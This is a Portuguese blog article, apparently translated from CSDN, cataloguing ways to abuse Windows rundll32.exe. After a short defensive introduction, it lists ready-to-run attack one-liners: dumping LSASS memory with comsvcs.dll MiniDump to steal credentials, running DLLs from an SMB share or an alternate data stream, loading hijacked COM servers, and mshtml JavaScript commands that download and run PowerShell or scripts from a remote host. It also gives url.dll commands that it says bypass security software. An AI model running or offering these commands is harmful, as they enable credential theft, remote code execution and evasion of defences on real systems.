Explore os vários “métodos de abuso” do Rundll32.exe e o que o torna “especial”.

Os autores de malware geralmente escrevem malware que imita processos legítimos do Windows. Portanto, podemos ver malware disfarçado como processos svchost.exe, rundll32.exe ou lsass.exe, aproveitando o fato de que a maioria dos usuários do Windows pode não estar ciente do comportamento desses processos do sistema em circunstâncias normais. Neste artigo, iremos nos aprofundar no rundll32.exe para entendê-lo um pouco.

  • Sobre Rundll.exe

Como o nome sugere, o arquivo executável rundll32.exe é usado para executar uma DLL (RUN DLL), ou seja, para executar uma biblioteca de vínculo dinâmico.

No MSDN, a definição de DLL é a seguinte:

Uma biblioteca de vínculo dinâmico (DLL) é um módulo que contém funções e dados que podem ser usados ​​por outro módulo (um aplicativo ou DLL).

A seguir está a sintaxe mais básica para usar rundll32.exe:

  • rundll32

O executável rundll32.exe pode ser um processo filho ou pai, dependendo do contexto de execução. Para determinar se uma instância de rundll32.exe é maliciosa, precisamos confirmar algumas coisas. Primeiro você precisa confirmar o caminho para iniciá-lo e, em segundo lugar, a linha de comando.

O processo RUNDLL32.EXE legítimo está sempre localizado em:

\Windows\System32\rundll32.exe

\Windows\SysWOW64\rundll32.exe (versão de 32 bits em sistemas de 64 bits)

Quanto à linha de comando da instância rundll32.exe, tudo depende do que você deseja executar, como arquivos CPL, instalação de DLL, etc.

A seguir apresentaremos em detalhes uma série de chamadas rundll32.exe e suas funções correspondentes. 


Caso:

  • SHELL32.DLL – “OpenAs_RunDLL”

Rundll32.exe também pode executar funções específicas na DLL. Por exemplo, quando você seleciona um arquivo e clica com o botão direito, um menu de contexto aparece com diversas opções. Uma opção aqui é "OpenWith". Após clicar, aparecerá uma janela pop-up onde você poderá escolher entre os aplicativos instalados em seu sistema. 

Por trás desse processo, o utilitário rundll32.exe é iniciado usando shell32.dll e a função OpenAs_RunDL, que na verdade é equivalente à execução do seguinte comando em segundo plano:  

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,OpenAs_RunDLL < file_path >

Tomemos como exemplo a modificação do arquivo hosts. Execute o seguinte comando através de WIN+R para abrir a janela de seleção: 

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,OpenAs_RunDLL C:\Windows\System32\drivers\etc\hosts

 

Esse comportamento de chamar funções específicas em uma DLL é muito comum, por isso talvez não consigamos entender completamente todas as funções.


  • SHELL32.DLL – “Control_RunDLL”

Outra função comum que encontramos usada com shell32.dll é Control_RunDLL ou Control_RunDLLAsUser. Essas duas funções são usadas para executar arquivos .CPL ou opções do painel de controle.

Por exemplo, se quisermos alterar a data e hora do computador, podemos iniciar o miniaplicativo correspondente no Painel de Controle.

Nos bastidores, o Windows realmente inicia uma instância de rundll32.exe usando a seguinte linha de comando. 

C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,Control_RunDLL C:\WINDOWS\System32\timedate.cpl

Ative o firewall:

C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,Control_RunDLL C:\WINDOWS\System32\firewall.cpl

 

Obviamente, o arquivo CPL aqui também pode ser substituído por um arquivo malicioso, portanto, quando um caminho e nome de arquivo suspeitos aparecerem, precisaremos usar outras ferramentas para verificar sua legitimidade.

Além de verificar o arquivo .CPL, ao usar a função Control_RunDLL ou Control_RunDLLAsUser, você também deve verificar a validade do arquivo .DLL apontado.  

  • Chamada de arquivo DLL 

Se um invasor usar um arquivo DLL legítimo para concluir atividades de ataque, os métodos tradicionais de detecção aumentarão muito a dificuldade de defesa.Por exemplo, usando a função MiniDump em comsvcs.dll para despejar a memória do processo de destino para obter roubo de credenciais, consulte para aqui:

C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> C:\temp\lsass.dmp full

Da mesma forma, existe o advpack.dll, que foi originalmente usado para ajudar hardware e software a ler e verificar arquivos .INF. Ele também pode ser usado por invasores para execução de código. Consulte aqui:

c:\windows\system32\rundll32.exe advpack.dll,LaunchINFSection c:\360\360.png,DefaultInstall

Claro, certamente haverá muitas variantes desses métodos de ataque em uso real, que são usadas para contornar alguns métodos convencionais de detecção. Por exemplo, a chamada para a função MiniDump também pode ser concluída através do número 24. Amigos interessados ​​​​podem dar uma olhada olhe aqui:


  • Executar DLL do compartilhamento SMB 
rundll32.exe \\10.10.10.10\share\payload.dll,EntryPoint

Use Rundll32.exe para executar a DLL de um compartilhamento SMB. EntryPoint é o nome do ponto de entrada no arquivo .DLL a ser executado.

Caso de uso: Executando DLL do compartilhamento SMB.
Permissões necessárias:
SO do usuário: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 


  • Executar script JavaScript 
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('https://www.chwm.vip/');")

 Use Rundll32.exe para executar um script JavaScript que executa um script do PowerShell baixado de um site remoto.

Caso de uso: Execução de código da Internet
Permissões necessárias: Usuário
Sistema operacional: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 


  • Executar um programa externo
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

Use Rundll32.exe para executar o script JavaScript que executa calc. EXE. 

 Caso de uso:
Permissões necessárias para execução do agente:
Sistema operacional do usuário: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11


  • execute, execute o programa externo e elimine o processo rundll32.exe
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

Use Rundll32.exe para executar um script JavaScript que executa calc.exe e encerra o processo Rundll32.exe iniciado. 

Caso de uso:
Permissões necessárias para execução do agente:
Sistema operacional do usuário: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

  • Execute um script JavaScript remoto 
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://www.chwm.vip/test/test.js")

 Use Rundll32.exe para executar scripts JavaScript que chamam JavaScript remoto.

Caso de uso: Execução de código da Internet
Permissões necessárias: Usuário
Sistema operacional: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11   


  • Executar código de script VBScript 
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";window.execScript("msgbox('a')","vbs");window.close()

 Use Rundll32.exe para executar um script que chama VBScript.

Caso de uso:
Permissões necessárias para execução do agente:
Sistema operacional do usuário: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11


  • Carregar um servidor COM registrado ou sequestrado   
rundll32.exe –localserver < CLSID_GUID >
rundll32.exe –sta < CLSID_GUID >

Use Rundll32.exe para carregar uma carga útil de servidor COM registrada ou sequestrada. Também funciona com ProgID. 

Ambos podem ser usados ​​para carregar objetos COM registrados maliciosamente.

É necessário verificar a chave de registro correspondente\HKEY_CLASSES_ROOT\CLSID\ 

Recomenda-se que você leia o artigo a seguir para saber mais sobre esta tecnologia.

https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/

Caso de uso: Executar carga do servidor DLL/EXE COM ou código ScriptletURL.
Permissões necessárias: Usuário
Sistema operacional: Windows 10 (e possivelmente versões anteriores), Windows 11 


  • Execute comandos para ignorar o software de segurança
rundll32 url.dll, OpenURL file://c:\windows\system32\calc.exe

rundll32 url.dll, OpenURLA file://c:\windows\system32\calc.exe

rundll32 url.dll, FileProtocolHandler calc.exe

Este é o resultado da desmontagem e análise do Url.dll, que pode ignorar com êxito a maioria dos softwares de segurança.

Caso de uso:
Permissões necessárias para execução do agente:
Sistema operacional do usuário: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 


  •  Fluxo de dados alternativo
rundll32 "C:\ads\file.txt:ADSDLL.dll",DllMain

 Use Rundll32.exe para executar arquivos .DLL armazenados no fluxo de dados alternativo (ADS).

Caso de uso: Executar código de um fluxo de dados alternativo
Permissões necessárias: Usuário
Sistema operacional: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 


  • Executar código HTML
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication < HTML Code >

Use Rundll32.exe para chamar mshtml.dll para executar o código HTML.

Caso de uso:
Permissões necessárias para execução do agente:
Sistema operacional do usuário: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 


Resumir

Obrigado pela leitura. Espero que você possa aprender mais sobre Rundll32.exe por meio deste artigo. 

Existem mais maneiras de explorar Rundll32.exe e este artigo será atualizado continuamente. . .

Acho que você gosta

Origin blog.csdn.net/qq_39190622/article/details/132165872
Recomendado
Clasificación